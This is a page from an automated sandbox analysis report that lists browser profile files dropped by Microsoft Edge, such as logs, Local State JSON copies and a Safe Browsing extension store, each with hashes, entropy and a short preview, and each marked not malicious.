SHA1:	4AE5299F9BC2A5FB0813473F64C47CEAD5907C53
SHA-256:	AFE237110967C87B3B270BF04A20A3916CD4F3DB2EACEA522EB03DB1EBD08B0C
SHA-512:	64A319823F22D3352657BE9975B63ECC30A695184B37623C15E9E3E11948E8B2A4A23A222196CB35A105C34D165F60BF914DD50C3F5282A101209391979B81C1
Malicious:	false
Preview:	2024/11/27-18:19:33.016 2364 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-18:19:33.016 2364 Recovering log #3.2024/11/27-18:19:33.017 2364 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.213838673581422
Encrypted:	false
SSDEEP:	6:HCz/mWoq2PN723oH+TcwtfrzAdIFUt8YCz/mW5Zmw+YCz/mWTkwON723oH+TcwtS:4/mWovVaYeb9FUt8R/mW5/+R/mWT5Oaa
MD5:	DBC17DCB9BFE54CFBFE8FEC28387BF53
SHA1:	C11E487D3F87ED23DCAD208CF6E7AC26E9684070
SHA-256:	40640A32D4A8D72C82328373FA9E49E148AD61FA1FF72AF7EBFA9A5E028DBD36
SHA-512:	2EACD812103E7B1D696208954743518AF124D8220D3913C919B64A22ECDAED24D21E84F41A4980298A3C83A7B3778A6C32C089B5F50F6F063CD5FE5F7B1D2B30
Malicious:	false
Preview:	2024/11/27-18:19:33.012 2364 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-18:19:33.012 2364 Recovering log #3.2024/11/27-18:19:33.012 2364 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.213838673581422
Encrypted:	false
SSDEEP:	6:HCz/mWoq2PN723oH+TcwtfrzAdIFUt8YCz/mW5Zmw+YCz/mWTkwON723oH+TcwtS:4/mWovVaYeb9FUt8R/mW5/+R/mWT5Oaa
MD5:	DBC17DCB9BFE54CFBFE8FEC28387BF53
SHA1:	C11E487D3F87ED23DCAD208CF6E7AC26E9684070
SHA-256:	40640A32D4A8D72C82328373FA9E49E148AD61FA1FF72AF7EBFA9A5E028DBD36
SHA-512:	2EACD812103E7B1D696208954743518AF124D8220D3913C919B64A22ECDAED24D21E84F41A4980298A3C83A7B3778A6C32C089B5F50F6F063CD5FE5F7B1D2B30
Malicious:	false
Preview:	2024/11/27-18:19:33.012 2364 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-18:19:33.012 2364 Recovering log #3.2024/11/27-18:19:33.012 2364 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089760067054859
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMZkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynfykzItSmd6qE7lFoC
MD5:	666D04B5582C111AE6F8A8F018E96B74
SHA1:	D89A92CD439217460966A58CE190C491880D432F
SHA-256:	72E837359C481138364DFCF90199C4E4454D30A577FBF404BDDD896C24C472B7
SHA-512:	2EB5B0FBF06F219BAA0DC419FD46328D910E95180E11F5C34E2C958FD432545F776A397AA83BC7F4FE8C72A5305712202431370353160245B7864BA2DF7E5BBE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39fbc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089760067054859
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMZkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynfykzItSmd6qE7lFoC
MD5:	666D04B5582C111AE6F8A8F018E96B74
SHA1:	D89A92CD439217460966A58CE190C491880D432F
SHA-256:	72E837359C481138364DFCF90199C4E4454D30A577FBF404BDDD896C24C472B7
SHA-512:	2EB5B0FBF06F219BAA0DC419FD46328D910E95180E11F5C34E2C958FD432545F776A397AA83BC7F4FE8C72A5305712202431370353160245B7864BA2DF7E5BBE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a190.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089760067054859
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMZkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynfykzItSmd6qE7lFoC
MD5:	666D04B5582C111AE6F8A8F018E96B74
SHA1:	D89A92CD439217460966A58CE190C491880D432F
SHA-256:	72E837359C481138364DFCF90199C4E4454D30A577FBF404BDDD896C24C472B7
SHA-512:	2EB5B0FBF06F219BAA0DC419FD46328D910E95180E11F5C34E2C958FD432545F776A397AA83BC7F4FE8C72A5305712202431370353160245B7864BA2DF7E5BBE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c833.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089760067054859
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMZkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynfykzItSmd6qE7lFoC
MD5:	666D04B5582C111AE6F8A8F018E96B74
SHA1:	D89A92CD439217460966A58CE190C491880D432F
SHA-256:	72E837359C481138364DFCF90199C4E4454D30A577FBF404BDDD896C24C472B7
SHA-512:	2EB5B0FBF06F219BAA0DC419FD46328D910E95180E11F5C34E2C958FD432545F776A397AA83BC7F4FE8C72A5305712202431370353160245B7864BA2DF7E5BBE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF413b3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089760067054859
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMZkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynfykzItSmd6qE7lFoC
MD5:	666D04B5582C111AE6F8A8F018E96B74
SHA1:	D89A92CD439217460966A58CE190C491880D432F
SHA-256:	72E837359C481138364DFCF90199C4E4454D30A577FBF404BDDD896C24C472B7
SHA-512:	2EB5B0FBF06F219BAA0DC419FD46328D910E95180E11F5C34E2C958FD432545F776A397AA83BC7F4FE8C72A5305712202431370353160245B7864BA2DF7E5BBE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b235.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089760067054859
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMZkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynfykzItSmd6qE7lFoC
MD5:	666D04B5582C111AE6F8A8F018E96B74
SHA1:	D89A92CD439217460966A58CE190C491880D432F
SHA-256:	72E837359C481138364DFCF90199C4E4454D30A577FBF404BDDD896C24C472B7
SHA-512:	2EB5B0FBF06F219BAA0DC419FD46328D910E95180E11F5C34E2C958FD432545F776A397AA83BC7F4FE8C72A5305712202431370353160245B7864BA2DF7E5BBE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50e20.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089760067054859
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMZkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynfykzItSmd6qE7lFoC
MD5:	666D04B5582C111AE6F8A8F018E96B74
SHA1:	D89A92CD439217460966A58CE190C491880D432F
SHA-256:	72E837359C481138364DFCF90199C4E4454D30A577FBF404BDDD896C24C472B7
SHA-512:	2EB5B0FBF06F219BAA0DC419FD46328D910E95180E11F5C34E2C958FD432545F776A397AA83BC7F4FE8C72A5305712202431370353160245B7864BA2DF7E5BBE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036017
Entropy (8bit):	4.001537780863068
Encrypted:	false
SSDEEP:	49152:qJrnBfZZRq6eF24n/j5pygUK4b9dTQdGRyKj4LaDEA/MZmppay7mJiIhw2Ka6aDn:7
MD5:	170459E66ADCB810A34333F76FBCDF16
SHA1:	CAAE91A114B70C8A73F5B14112717B1C7CB9ED01
SHA-256:	B35231180FCE56481F0EDC2B409DF184B01079E511062EEA605A5C07EE70FCE2
SHA-512:	629A227C497B9F13DCE2985DE1B8FC015CE282B5C6F9DFB50FB912F4AA43D71D6F0DF6FEDF1BCC85624DD076CA1B4F4A0B94C93879AF9F3C871476AD00413C7B
Malicious:	false
Preview:	.........\| .*.\|....\|. ..\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036017
Entropy (8bit):	4.001537780863068
Encrypted:	false
SSDEEP:	49152:qJrnBfZZRq6eF24n/j5pygUK4b9dTQdGRyKj4LaDEA/MZmppay7mJiIhw2Ka6aDn:7
MD5:	170459E66ADCB810A34333F76FBCDF16
SHA1:	CAAE91A114B70C8A73F5B14112717B1C7CB9ED01
SHA-256:	B35231180FCE56481F0EDC2B409DF184B01079E511062EEA605A5C07EE70FCE2
SHA-512:	629A227C497B9F13DCE2985DE1B8FC015CE282B5C6F9DFB50FB912F4AA43D71D6F0DF6FEDF1BCC85624DD076CA1B4F4A0B94C93879AF9F3C871476AD00413C7B
Malicious:	false
Preview:	.........\| .*.\|....\|. ..\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnb